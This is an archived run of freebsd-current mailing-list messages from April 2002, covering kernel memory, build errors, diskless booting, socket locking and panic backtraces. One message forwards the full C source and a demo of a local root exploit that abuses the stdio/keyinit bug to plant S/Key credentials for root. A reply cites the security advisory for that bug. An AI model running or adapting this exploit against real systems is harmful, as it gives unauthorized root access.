(MEST) Date: Thu, 25 Apr 2002 07:10:25 +0200 From: "Steve O'Hara-Smith" To: Terry Lambert Cc: scrappy@hub.org, freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-Id: <20020425071025.2237e270.steve@sohara.org> In-Reply-To: <3CC741E0.2BB79E0C@mindspring.com> References: <20020422091602.O1721-100000@mail1.hub.org> <3CC40A62.B40E816F@mindspring.com> <20020424191849.3a81b126.steve@sohara.org> <3CC741E0.2BB79E0C@mindspring.com> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i386-portbld-freebsd4.5) X-Face: %]+HVL}K`P8>+8ZcY-WGHP6j@&mxMo9JH6_WdgIgUGH)JX/usO0%jy7T~IVgqjumD^OBqX,Kv^-GM6mlw(fI^$"QRKyZ$?xx/ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 24 Apr 2002 16:38:08 -0700 Terry Lambert wrote: TL> Only if you reserved a window for it. Say 1G of KVA, though last I was thinking more like 1M, or even a few K, it sounds like that's not possible. TL> I checked the bank selection granularity wasn't fine enough for That would be a problem. TL> If you ever programmed graphics on a TI 99/4A, which has a 4k TL> visible window onto screen memory, or programmed code on the I've done a number of similar things (Newbrain, Lynx, bank switched CP/M ...). -- C:>WIN | Directable Mirrors The computer obeys and wins. |A Better Way To Focus The Sun You lose and Bill collects. | licenses available - see: | http://www.sohara.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 22:51:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from speechpro.com (crt-gw.infopro.spb.su [195.201.254.5]) by hub.freebsd.org (Postfix) with ESMTP id 7C5BB37B427 for ; Wed, 24 Apr 2002 22:51:40 -0700 (PDT) Received: from igorr by sysadm.stc with local (Exim 3.34 #1) id 170cEb-0001gq-00 for freebsd-current@FreeBSD.ORG; Thu, 25 Apr 2002 09:56:01 +0400 Date: Thu, 25 Apr 2002 09:56:01 +0400 From: Igor Roboul To: freebsd-current@FreeBSD.ORG Subject: Re: Errors in qt30 build Message-ID: <20020425055601.GA6217@sysadm.stc> Reply-To: igorr@speechpro.com Mail-Followup-To: Igor Roboul , freebsd-current@FreeBSD.ORG References: <20020424185840.0CD362E9@nebula.anchoragerescue.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020424185840.0CD362E9@nebula.anchoragerescue.org> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Apr 24, 2002 at 10:58:39AM -0800, Beech Rintoul wrote: > from kernel/qapplication_x11.cpp:77: > /usr/X11R6/include/X11/Xft/XftFreetype.h:34: syntax error before `;' > /usr/X11R6/include/X11/Xft/XftFreetype.h:37: syntax error before `;' > /usr/X11R6/include/X11/Xft/XftFreetype.h:41: syntax error before `;' > /usr/X11R6/include/X11/Xft/XftFreetype.h:54: syntax error before `;' > /usr/X11R6/include/X11/Xft/XftFreetype.h:71: syntax error before `,' > gmake[1]: *** [.obj/debug-mt/qapplication_x11.o] Error 1 > gmake[1]: Leaving directory > `/usr/ports/x11-toolkits/qt30/work/qt-copy-3.0.3/src' > gmake: *** [sub-src] Error 2 > *** Error code 2 I had same problem, but after rebuilding freetype2 all looks good, except that gcc hangs with internal compiler error while building arts port -- Igor Roboul, System administrator at Speech Technology Center http://www.speechpro.com http://www.speechpro.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 23:20:22 2002 Delivered-To: freebsd-current@freebsd.org Received: from peetree.cs.huji.ac.il (peetree.cs.huji.ac.il [132.65.80.34]) by hub.freebsd.org (Postfix) with ESMTP id 3B0AC37B41A; Wed, 24 Apr 2002 23:20:18 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by peetree.cs.huji.ac.il with esmtp id 170cc4-0006kh-00; Thu, 25 Apr 2002 09:20:16 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: obrien@freebsd.org Cc: current@FreeBSD.ORG Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-reply-to: Your message of Wed, 24 Apr 2002 19:25:38 -0700 . Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 25 Apr 2002 09:20:16 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Danny, > > What do you think about doing a little more polishing and rolling a new > set of patches taking this /etc/rc.conf option into account? Your kernel > env dhcp variables are really good. I know that many do want to do what > you are doing (large scale RO /); but up until now /etc/rc.diskless* has > not been well engineered. polishing wont help, if i don't know all the problems :-) in the begining, there was no way to mount / ro - sunos would not run, and so we had zilions of /, one for each host, linux makes a mfs image, so even if freebsd is a bit messy it is by far better engineered - my .5$ the root_rw_mount is fine, but it's a bit late. now that devfs is here (great!) the only problem to solve is what/how to deal with /etc rc.conf* fstab X11 and some othere local-configurable files. the name/value knobs are fine - though some more documentation ... :-) btw, there is still another tricky problem: if i have / ro, and shared among many hosts, i can't: 1- easely specify different kernels i do this at the moment by commenting out kernel= in boot/loader.conf and passing it as a dhcp tag. 2- loadable modules for the very early modules: like unionfs, no harm in loading it, so fine but what about others that might cause problems? later ones, i load from rc.local and now for some coffee, danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 23:23:57 2002 Delivered-To: freebsd-current@freebsd.org Received: from peetree.cs.huji.ac.il (peetree.cs.huji.ac.il [132.65.80.34]) by hub.freebsd.org (Postfix) with ESMTP id 16F5437B41A for ; Wed, 24 Apr 2002 23:23:54 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by peetree.cs.huji.ac.il with esmtp id 170cfV-0006m4-00 for current@FreeBSD.ORG; Thu, 25 Apr 2002 09:23:49 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: current@FreeBSD.ORG Subject: diskless configuration, was ... diskless booting Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 25 Apr 2002 09:23:49 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG im modifying libstand/bootp.c, and im trying to read a file via tftp/nfs, while i'm sure i'll figure it out - eventualy, can someone help me out here? thanks, danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 1:10:15 2002 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (rina.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id 6F2C337B41B; Thu, 25 Apr 2002 01:10:07 -0700 (PDT) Received: from rina.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by rina.r.dl.itc.u-tokyo.ac.jp (8.12.2/3.7W-rina.r-Nankai-Koya) with ESMTP id g3P8A50o010159 ; Thu, 25 Apr 2002 17:10:05 +0900 (JST) Message-Id: <200204250810.g3P8A50o010159@rina.r.dl.itc.u-tokyo.ac.jp> Date: Thu, 25 Apr 2002 17:10:04 +0900 From: Seigo Tanimura To: Bosko Milekic Cc: Seigo Tanimura , current@FreeBSD.ORG, smp@FreeBSD.ORG Subject: Re: Locking down a socket, milestone 1 In-Reply-To: <20020424085741.A62067@unixdaemons.com> References: <200204241110.g3OB8u8t006194@bunko> User-Agent: Wanderlust/2.8.1 (Something) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-1?Q?Unebigory=F2mae?=) APEL/10.3 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) Organization: Digital Library Research Division, Information Techinology Centre, The University of Tokyo MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 24 Apr 2002 08:57:41 -0400, Bosko Milekic said: bmilekic> I've literally just had time to glance at this so far, but can you, if bmilekic> you don't mind, please just briefly explain what BSD/OS does with bmilekic> sockbuf locking (do they use the same lock, or...?) In BSD/OS, each of the sockbufs in a socket has a mutex. It protects the data in the sockbuf. In addition, the mutex of the receive sockbuf also protects the whole data of the socket as well. BSD/OS seems to have no global locks to protect the relation between sockets. One thing I am not sure is the lock requirement upon waking up a process tsleeping for socket operation. In BSD/OS, some parts wake up processes with a socket locked, while the other parts not. I am going to make all of the functions calling sowakeup() to lock a socket first. -- Seigo Tanimura To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 1:19:11 2002 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (rina.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id 511BF37B41D; Thu, 25 Apr 2002 01:19:01 -0700 (PDT) Received: from rina.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by rina.r.dl.itc.u-tokyo.ac.jp (8.12.2/3.7W-rina.r-Nankai-Koya) with ESMTP id g3P8J00o013784 ; Thu, 25 Apr 2002 17:19:00 +0900 (JST) Message-Id: <200204250819.g3P8J00o013784@rina.r.dl.itc.u-tokyo.ac.jp> Date: Thu, 25 Apr 2002 17:19:00 +0900 From: Seigo Tanimura To: John Baldwin Cc: Seigo Tanimura , smp@FreeBSD.org, current@FreeBSD.org Subject: Re: Locking down a socket, milestone 1 In-Reply-To: References: <200204241110.g3OB8u8t006194@bunko> User-Agent: Wanderlust/2.8.1 (Something) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-1?Q?Unebigory=F2mae?=) APEL/10.3 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) Organization: Digital Library Research Division, Information Techinology Centre, The University of Tokyo MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 24 Apr 2002 10:18:01 -0400 (EDT), John Baldwin said: jhb> On 24-Apr-2002 Seigo Tanimura wrote: >> I am now working on locking down a socket. (I have heard that Jeffrey >> Hsu is also doing that, but I have never seen his patch. Has anyone >> seen that?) My first milestone patch is now available at: >> >> >> http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz >> >> >> The works I have done so far are: >> >> >> - Determine the lock required to protect each of the members in struct >> socket. >> >> - Add mutexes to each of the sockbufs in a socket as BSD/OS does. >> >> - Lock down so_count, so_options, so_linger and so_state. >> >> - Add a global mutex socq_lock to protect the connection queues of a >> listening socket. Lock socq_lock to lock two sockets at once, >> followed by enqueuing or dequeuing a socket, or moving a socket across >> queues. socq_lock is not an sx lock because we usually have to lock >> two sockets to modify them. jhb> Do you actually lock two sockets at once or do you lock one at a time while jhb> holding socq_lock. If you do lock two at once, what is the defined locking jhb> order? At the moment, I lock two sockets at once. This is required, eg in soisconnected() to move an accepting socket across the connection queues of a listening socket. The lock order is: 1. socq_lock 2. an accepting socket 3. a listening socket (in so_head of the accepting socket) -- Seigo Tanimura To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 1:23: 1 2002 Delivered-To: freebsd-current@freebsd.org Received: from gate.uai.etel.ru (gate.uai.etel.ru [195.38.57.243]) by hub.freebsd.org (Postfix) with ESMTP id 9CF5837B422 for ; Thu, 25 Apr 2002 01:22:50 -0700 (PDT) Received: by sendmail of gate.uai.etel.ru id g3P8Mp821194 for ; Thu, 25 Apr 2002 14:22:51 +0600 X-Authentication-Warning: gate.uai.etel.ru: smap set sender to using -f Received: from by gate.uai.etel.ru via smap (V2.1) id xma021012; Thu, 25 Apr 02 14:21:52 +0600 Received: by sendmail with ESMTP id g3P8Lo5H025630 from vlad@telecom.ural.ru for ; Thu, 25 Apr 2002 14:21:50 +0600 Received: by sendmail id g3P8LoWV025629 for freebsd-current@freebsd.org.KAV; Thu, 25 Apr 2002 14:21:50 +0600 Received: by sendmail with ESMTP id g3P8Ln5H025612; Thu, 25 Apr 2002 14:21:49 +0600 Date: Thu, 25 Apr 2002 14:22:10 +0600 From: "Vladimir G. Drobyshevsky" X-Mailer: The Bat! (v1.60c) UNREG / CD5BF9353B3B7091 Reply-To: "Vladimir G. Drobyshevsky" Organization: Computer saloons "TelescOp" X-Priority: 3 (Normal) Message-ID: <129604079.20020425142210@telecom.ural.ru> To: freebsd-stable@freebsd.org, freebsd-current@freebsd.org Subject: FreeBSD security hole? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Have a nice day! Yesterday I received that message from one of linux guys: --- forward message --- /* phased/b10z phased@snosoft.com 23/04/2002 stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE decided to make a trivial exploit to easily get root :) > id uid=1003(phased) gid=999(phased) groups=999(phased) > ./iosmash Adding phased: <--- HIT CTRL-C ---> > su s/key 98 snosoft2 Password:MASS OAT ROLL TOOL AGO CAM xes# this program makes the following skeys valid 95: CARE LIVE CARD LOFT CHIC HILL 96: TESS OIL WELD DUD MUTE KIT 97: DADE BED DRY JAW GRAB NOV 98: MASS OAT ROLL TOOL AGO CAM 99: DARK LEW JOLT JIVE MOS WHO cheers Joost Pol */ #include #include int main(int argc, char *argv[]) { while(dup(1) != -1); close(2); execl("/usr/bin/keyinit", "\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n"); } --- forward message --- He ask me to verify that information. I did. And it works. And the second message that I recived today: --- message --- phased had some comments he wanted me to forward on to the lists in regards to his latest exploit. He says that skeys are used via all authentication methods... i.e telnet, so someone could change the user to someone in the wheel group. Haven't used skeys via ssh yet but I presume it works. Root obviously can't just telnet in by default but usually can ssh, but if the box being exploited contains people in the wheel group you can change the root user in the exploit to any user to log in via skeys as that user. --- message --- I not so well understand in interiors of system, I only see, that during 30 seconds have got access to the root account (of course, from the account of the user who is included in group wheel, differently su, naturally, not gives access). Therefore I ask to comment on these messages. How dangerous can it be? -- Sincerelly yours, Vl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 1:36:37 2002 Delivered-To: freebsd-current@freebsd.org Received: from smtp2.enst.fr (matrix2.enst.fr [137.194.2.14]) by hub.freebsd.org (Postfix) with ESMTP id 3C5CB37B400; Thu, 25 Apr 2002 01:36:31 -0700 (PDT) Received: from andromede.enst.fr (andromede.enst.fr [137.194.64.202]) by smtp2.enst.fr (Postfix) with ESMTP id 710811F071; Thu, 25 Apr 2002 10:36:29 +0200 (MEST) Received: (from ware@localhost) by andromede.enst.fr (8.8.8+Sun/8.8.8) id KAA14271; Thu, 25 Apr 2002 10:36:28 +0200 (MET DST) Date: Thu, 25 Apr 2002 10:36:28 +0200 From: Cedric Ware To: "Vladimir G. Drobyshevsky" Cc: freebsd-stable@freebsd.org, freebsd-current@freebsd.org Subject: Re: FreeBSD security hole? Message-ID: <20020425103627.A14146@enst.fr> References: <129604079.20020425142210@telecom.ural.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <129604079.20020425142210@telecom.ural.ru>; from vlad@telecom.ural.ru on Thu, Apr 25, 2002 at 02:22:10PM +0600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, > stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE > decided to make a trivial exploit to easily get root :) Indeed, see security advisory FreeBSD-SA-02:23.stdio at: ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after). Regards, Cedric Ware. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 1:37: 7 2002 Delivered-To: freebsd-current@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 6417337B405; Thu, 25 Apr 2002 01:36:44 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id 1322AAE2E3; Thu, 25 Apr 2002 01:36:44 -0700 (PDT) Date: Thu, 25 Apr 2002 01:36:44 -0700 From: Alfred Perlstein To: Seigo Tanimura Cc: John Baldwin , smp@FreeBSD.org, current@FreeBSD.org Subject: Re: Locking down a socket, milestone 1 Message-ID: <20020425083644.GM38320@elvis.mu.org> References: <200204241110.g3OB8u8t006194@bunko> <200204250819.g3P8J00o013784@rina.r.dl.itc.u-tokyo.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200204250819.g3P8J00o013784@rina.r.dl.itc.u-tokyo.ac.jp> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Seigo Tanimura [020425 01:19] wrote: > >> > >> http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz > >> This looks really good so far! Needs some more comments explaining socq_lock. Watch long line wraps. Why is there a "sigio" lock in this delta? -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 1:39:42 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id 8BC0737B41D; Thu, 25 Apr 2002 01:39:26 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 439C766B8A; Thu, 25 Apr 2002 01:39:23 -0700 (PDT) Date: Thu, 25 Apr 2002 01:39:22 -0700 From: Kris Kennaway To: current@FreeBSD.org, fs@FreeBSD.org Subject: 4 panics under 5.0 on ports cluster Message-ID: <20020425013922.A27152@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Q68bSM7Ycu6FN28Q" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --Q68bSM7Ycu6FN28Q Content-Type: text/plain; charset=us-ascii Content-Disposition: inline I've had 4 panics on the ports cluster in the past couple of days. They're running kernels from March 31 which have been very stable since then, but on the other hand I've been building packages intensively for the past few days. Is there anything interesting here? I have the cores if more information is needed. Kris panic: ffs_valloc: dup alloc Uptime: 3d6h42m19s (kgdb) bt #0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506 #1 0xc0207cb0 in boot (howto=260) at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:338 #2 0xc020814f in panic (fmt=0xc037f781 "ffs_valloc: dup alloc") at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648 #3 0xc02cb682 in ffs_valloc (pvp=0xdb4d7000, mode=16832, cred=0xdcc4b180, vpp=0xd9627ac8) at /local0/scratch/usr/src/sys/ufs/ffs/ffs_alloc.c:639 #4 0xc02e0b15 in ufs_mkdir (ap=0xd9627c14) at /local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:1380 #5 0xc02e1d85 in ufs_vnoperate (ap=0xd9627c14) at /local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:2660 #6 0xc024a06a in vn_mkdir (path=0x804f3e0 "./share/doc/ja", mode=448, segflg=UIO_USERSPACE, td=0xd9414a00) at vnode_if.h:537 #7 0xc0249e90 in mkdir (td=0xd9414a00, uap=0xd9627d20) at /local0/scratch/usr/src/sys/kern/vfs_syscalls.c:3647 #8 0xc0326d8f in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 0, tf_esi = 134580224, tf_ebp = -1077938244, tf_isp = -647856780, tf_ebx = 134542315, tf_edx = 134535775, tf_ecx = 672225016, tf_eax = 136, tf_trapno = 12, tf_err = 2, tf_eip = 671827427, tf_cs = 31, tf_eflags = 647, tf_esp = -1077938384, tf_ss = 47}) at /local0/scratch/usr/src/sys/i386/i386/trap.c:1033 #9 0xc0317b1d in syscall_with_err_pushed () #10 0x804c4c1 in ?? () #11 0x804c4c1 in ?? () #12 0x804c4c1 in ?? () #13 0x804bfa3 in ?? () #14 0x804b511 in ?? () #15 0x80493c9 in ?? () (kgdb) panicstr: ffs_valloc: dup alloc panic messages: --- dmesg: kvm_read: --- #0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506 506 /local0/scratch/usr/src/sys/kern/kern_shutdown.c: No such file or directory. (kgdb) bt #0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506 #1 0xd933b14c in ?? () #2 0xc0207cb0 in boot (howto=260) at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:338 #3 0xc020814f in panic (fmt=0xc037f781 "ffs_valloc: dup alloc") at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648 #4 0xc02cb682 in ffs_valloc (pvp=0xd99d3b2c, mode=16895, cred=0xdb1f2600, vpp=0xdb4ccac8) at /local0/scratch/usr/src/sys/ufs/ffs/ffs_alloc.c:639 #5 0xc02e0b15 in ufs_mkdir (ap=0xdb4ccc14) at /local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:1380 #6 0xc02e1d85 in ufs_vnoperate (ap=0xdb4ccc14) at /local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:2660 #7 0xc024a06a in vn_mkdir (path=0x8093040
, mode=511, segflg=UIO_USERSPACE, td=0xdb483100) at vnode_if.h:537 #8 0xc0249e90 in mkdir (td=0xdb483100, uap=0xdb4ccd20) at /local0/scratch/usr/src/sys/kern/vfs_syscalls.c:3647 #9 0xc0326d8f in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 0, tf_esi = 134819904, tf_ebp = -1077938120, tf_isp = -615723660, tf_ebx = 134819914, tf_edx = -1, tf_ecx = 47, tf_eax = 136, tf_trapno = 12, tf_err = 2, tf_eip = 134605092, tf_cs = 31, tf_eflags = 647, tf_esp = -1077938164, tf_ss = 47}) at /local0/scratch/usr/src/sys/i386/i386/trap.c:1033 #10 0xc0317b1d in syscall_with_err_pushed () Cannot access memory at address 0xbfbff838. panic: sleeping thread owns a mutex Uptime: 8h52m59s (kgdb) bt #0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506 #1 0xc0207cb0 in boot (howto=260) at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:338 #2 0xc020814f in panic (fmt=0xc0367580 "sleeping thread owns a mutex") at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648 #3 0xc0200a35 in propagate_priority (td=0xcd23d400) at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110 #4 0xc0200ffb in _mtx_lock_sleep (m=0xc767866c, opts=0, file=0xc03858e0 "/local0/scratch/usr/src/sys/vm/uma_core.c", line=1489) at /local0/scratch/usr/src/sys/kern/kern_mutex.c:389 #5 0xc0200c6b in _mtx_lock_flags (m=0xc767866c, opts=0, file=0xc03858e0 "/local0/scratch/usr/src/sys/vm/uma_core.c", line=1489) at /local0/scratch/usr/src/sys/kern/kern_mutex.c:208 #6 0xc02f3017 in uma_zfree_arg (zone=0xc76785a0, item=0xd0dc2000, udata=0xcfa75678) at /local0/scratch/usr/src/sys/vm/uma_core.c:1489 #7 0xc01ffb5d in free (addr=0xd0dc2000, type=0xc03c5280) at /local0/scratch/usr/src/sys/kern/kern_malloc.c:232 #8 0xc02d61e2 in softdep_disk_write_complete (bp=0xc772b650) at /local0/scratch/usr/src/sys/ufs/ffs/ffs_softdep.c:3550 #9 0xc023b011 in bufdone (bp=0xc772b650) at /local0/scratch/usr/src/sys/sys/buf.h:405 #10 0xc023aedf in bufdonebio (bp=0xc772b650) at /local0/scratch/usr/src/sys/kern/vfs_bio.c:2805 #11 0xc017e571 in ad_interrupt (request=0xcf21fb40) at /local0/scratch/usr/src/sys/sys/bio.h:115 #12 0xc01725b9 in ata_intr (data=0xc7686a00) at /local0/scratch/usr/src/sys/dev/ata/ata-all.c:596 #13 0xc01fa7e7 in ithread_loop (arg=0xcdd09e80) at /local0/scratch/usr/src/sys/kern/kern_intr.c:533 #14 0xc01f9cc6 in fork_exit (callout=0xc01fa6b8 , arg=0xcdd09e80, frame=0xcdd32d48) at /local0/scratch/usr/src/sys/kern/kern_fork.c:799 panic: pipe buffer gone Uptime: 3d13h4m20s (kgdb) bt #0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506 #1 0xc0207cb0 in boot (howto=260) at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:338 #2 0xc020814f in panic (fmt=0xc036bbc0 "pipe buffer gone") at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648 #3 0xc02228cc in pipe_write (fp=0xda7c12d0, uio=0xdabfec90, cred=0xdaad6a00, flags=0, td=0xdabca700) at /local0/scratch/usr/src/sys/kern/sys_pipe.c:887 #4 0xc021fe46 in dofilewrite (td=0xdabca700, fp=0xda7c12d0, fd=1, buf=0x80a6d80, nbyte=8192, offset=-1, flags=0) at /local0/scratch/usr/src/sys/sys/file.h:186 #5 0xc021fce4 in write (td=0xdabca700, uap=0xdabfed20) at /local0/scratch/usr/src/sys/kern/sys_generic.c:332 #6 0xc0326d8f in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 134901120, tf_esi = 8192, tf_ebp = -1077937820, tf_isp = -624956044, tf_ebx = 971, tf_edx = 184, tf_ecx = 0, tf_eax = 4, tf_trapno = 0, tf_err = 2, tf_eip = 134592700, tf_cs = 31, tf_eflags = 663, tf_esp = -1077937864, tf_ss = 47}) at /local0/scratch/usr/src/sys/i386/i386/trap.c:1033 #7 0xc0317b1d in syscall_with_err_pushed () #8 0x804e693 in ?? () #9 0x804e445 in ?? () #10 0x804cb5f in ?? () #11 0x8048a66 in ?? () #12 0x804882d in ?? () #13 0x8048135 in ?? () --Q68bSM7Ycu6FN28Q Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8x8C6Wry0BWjoQKURAofqAKCBypIjQc5o/oN2ExpAWn6x/JICBQCgmjEc KDJz4wbRdJpdvv1DQRc70dY= =xxK1 -----END PGP SIGNATURE----- --Q68bSM7Ycu6FN28Q-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 1:49:10 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id D97B537B417; Thu, 25 Apr 2002 01:49:05 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5791D66B8A; Thu, 25 Apr 2002 01:49:05 -0700 (PDT) Date: Thu, 25 Apr 2002 01:49:05 -0700 From: Kris Kennaway To: "Vladimir G. Drobyshevsky" Cc: freebsd-stable@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: FreeBSD security hole? Message-ID: <20020425014905.A28082@xor.obsecurity.org> References: <129604079.20020425142210@telecom.ural.ru> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="7JfCtLOvnd9MIVvH" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <129604079.20020425142210@telecom.ural.ru>; from vlad@telecom.ural.ru on Thu, Apr 25, 2002 at 02:22:10PM +0600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: 